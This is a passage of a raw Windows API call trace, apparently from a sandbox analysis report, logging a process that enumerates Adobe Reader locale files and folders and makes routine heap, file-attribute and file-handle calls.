lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CHT", cAlternateFileName="")) returned 1 [0082.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214b40 [0082.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0b88 [0082.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.866] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CHT", cAlternateFileName="")) returned 1 [0082.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214b60 [0082.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0c90 [0082.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.868] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.868] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0082.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214b80 [0082.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0d98 [0082.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.869] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CHT", cAlternateFileName="")) returned 1 [0082.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214ba0 [0082.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0ea0 [0082.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.871] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHT", cAlternateFileName="")) returned 1 [0082.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214bc0 [0082.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0fa8 [0082.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7300) returned 0x12c9600 [0082.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c2338) returned 1 [0082.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHT", cAlternateFileName="")) returned 0 [0082.873] GetLastError () returned 0x12 [0082.873] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.873] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CHT", cAlternateFileName="")) returned 1 [0082.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CHT", cAlternateFileName="")) returned 1 [0082.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a10b0 [0082.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.875] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0908 [0082.875] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0908, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0908, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0908) returned 1 [0082.875] NtClose (Handle=0x168) returned 0x0 [0082.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a10b0) returned 1 [0082.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a10b0 [0082.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a11b8 [0082.876] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.877] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.877] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a12c0 [0082.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214be0 [0082.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a13c8 [0082.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.879] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 